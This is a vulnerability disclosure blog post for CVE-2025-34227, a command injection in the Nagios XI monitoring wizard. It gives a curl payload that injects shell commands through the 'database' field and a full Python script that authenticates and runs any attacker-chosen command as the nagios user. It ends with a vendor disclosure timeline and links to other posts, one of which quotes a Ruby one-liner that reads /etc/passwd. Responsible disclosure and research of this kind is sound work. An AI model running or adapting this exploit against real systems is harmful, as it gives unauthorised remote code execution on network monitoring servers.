CVE-2025-34227 - Nagios XI Authenticated Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services leads to Remote Code Execution
Overview
Nagios XI is vulnerable to an authenticated command injection vulnerability in the Configuration Wizard
functionality, specifically the PostgreSQL and MySQL Query service monitors (possibly others as well). It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the nagios
user.
The vulnerability is located within /nagiosxi/config/monitoringwizard.php
. Unfortunately, this file is protected with Source Guardian, therefore it isn’t possible to do a code walkthrough to identify the exact cause of the vulnerability. Thus far, I have confirmed the command injection is possible in the database
and query
parameters, however it is likely possible in others.
To recreate the vulnerability, authenticate to an instance of Nagios XI as the nagiosadmin
user. Retrieve a valid nagiosxi
cookie and nsp
, replace the values in the following curl
command, and then leverage the curl
command to execute the payload within the database
parameter below:
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php
This will execute touch /tmp/rceproof
as the ;
character before and after cause the command to be executed as another shell command. The service curl RCE service
takes approximately one minute to appear in the /nagiosxi/includes/components/xicore/status.php?show=services
page. Once the service appears, a file /tmp/rceproof
should appear, owned by the nagios
user:
# ls -lah /tmp/rceproof
-rw-r--r-- 1 nagios nagios 0 Jun 23 11:47 /tmp/rceproof
This can also be done through the browser wizard by pasting information_schema;touch+/tmp/rceproof;
into the database
field on the MySQL Query
service setup. Finish With Defaults
as soon as you see that option. I used 127.0.0.1
and a random username/password combo.
I wrote a simple script to handle auth and the command injection:
import requests
import sys
import re
## Usage
# $ python3 monitoringservice-command-injection.py <target-url> <username> <password> <command>
## Example
# $ python3 monitoringservice-command-injection.py http://192.168.122.9/nagiosxi nagiosadmin password123 'touch /tmp/rceproof'
# [+] Service was added. Watch http://192.168.122.9/nagiosxi/includes/components/xicore/status.php?show=services for the service to appear.
# [*] Make sure to delete the "command injection service" service in the dashboard..
## Set input data
url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]
## Define some constants for use the in the payload/URL
SERVICE_NAME = 'command injection service'
INTERVAL = 1
LOGIN_ENDPOINT = "/login.php"
CONFIGWIZARD_ENDPOINT = "/config/monitoringwizard.php"
def get_nsp_str(text):
nsp_match = re.search(r'var\snsp_str\s=\s"([a-f0-9]+)"', text)
if nsp_match:
return nsp_match.group(1)
## Start HTTP session/exploitation requests
with requests.Session() as s:
s.verify = False
## Proxies for Burp. Uncomment if you want to use a proxy
s.proxies.update(dict.fromkeys(['http','https'],'http://127.0.0.1:8080'))
## Login section
login_url = f"{url}{LOGIN_ENDPOINT}"
nsp = None
login_info_req = s.get(login_url)
login_nsp = get_nsp_str(login_info_req.text)
if not login_nsp:
print("Failed to grab nsp for login")
exit()
### Build login request
login_data = {
"nsp": login_nsp,
"page": "auth",
"pageopt": "login",
"username": username,
"password": password,
"loginButton": ""
}
login_req = s.post(login_url, data=login_data)
### Confirm redirect to the `index.php` page
if 'index.php' not in login_req.url:
print("[-] Invalid credentials")
exit()
### get fresh nsp for config wizard
configwizard_req = s.get(f"{url}{CONFIGWIZARD_ENDPOINT}")
configwizard_nsp = get_nsp_str(configwizard_req.text)
### Configuration for mysql query payload with command injection
configwizard_servicecreate_payload = {
"update": 1,
"nsp": configwizard_nsp,
"step": 3,
"nextstep": 5,
"wizard": "mysqlquery",
"tpl": '',
"hostname": "localhost",
"operation": '',
"selectedhostconfig": '',
"services_serial": '',
"serviceargs_serial": '',
"config_serial": '',
"ip_address": "127.0.0.1",
"port": 3306,
"username": "test",
"password": "test",
"database": f"information_schema;{command};",
"hostname": "localhost",
"password": "test",
"queryname": SERVICE_NAME,
"query": "SELECT 1",
"warning": 50,
"check_interval": INTERVAL,
"retry_interval": INTERVAL,
"critical": 200,
"finishButton": ''
}
### Add service for malicious mysql query
configwizard_addservice_req = s.post(f"{url}{CONFIGWIZARD_ENDPOINT}", data=configwizard_servicecreate_payload)
### Some cursory checks to make sure the servie added.
if configwizard_addservice_req.ok and SERVICE_NAME in configwizard_addservice_req.text:
print(f"[+] Service was added. Watch {url}/includes/components/xicore/status.php?show=services for the service to appear.")
print(f"[*] Make sure to delete the \"{SERVICE_NAME}\" service in the dashboard.")
else:
print("[-] Something failed adding the service")
exit()
A copy of the above python script is also available here for easy curl
/wget
: CVE-2025-34227_nagios-command-injection.txt
https://www.nagios.com/changelog/
https://www.nagios.com/products/security/
https://www.vulncheck.com/advisories/nagios-xi-config-wizard-auth-command-injection
https://www.cve.org/cverecord?id=CVE-2025-34227
Date | Update |
---|---|
23JUN2025 | Issue reported to security@nagios.com |
01JUL2025 | Receipt of vulnerabilities acknowledged by Nagios |
02SEP2025 | Requested update on vulnerability |
03SEP2025 | Nagios replies to notify that fixes will be relased soon. |
25SEP2025 | Observed updates released at https://www.nagios.com/changelog/ |
25SEP2025 | VulnCheck releases an advisory and issues CVE-2025-34227 |
13OCT2025 | This article is published. |
Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS...
Overview I recently noticed quite a few folks recently looked at Nagios XI. Some even pulled the obfuscated stuff apart which I thought was really awesome! I...
CVE-2021-42840 This one will be a bit short, since severity/impact/video/etc is all identical to my post on the previous SuiteCRM RCE.
Path traversal in File Upload leads to Remote Code Execution in Chamilo LMS Overview It’s been a bit since I spent some time looking for a web vuln… And this...
tldr/oneliner ruby -e '"".class.ancestors[3].system("cat /etc/passwd")' Why? So I was doing a bit of reading on SSTI, specifically that of Jinja/python which...
Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.
TL;DR Just go to the Demo Or, just go to the Demo Round 2 for reverse tunneling Accessing Resources Behind Multiple Resources At some point, you may run into...
How to get a Shell on your Router (hopefully) Vulnerability hunting is hard, and it’s even harder if you don’t have access to the source. Hardware devices ma...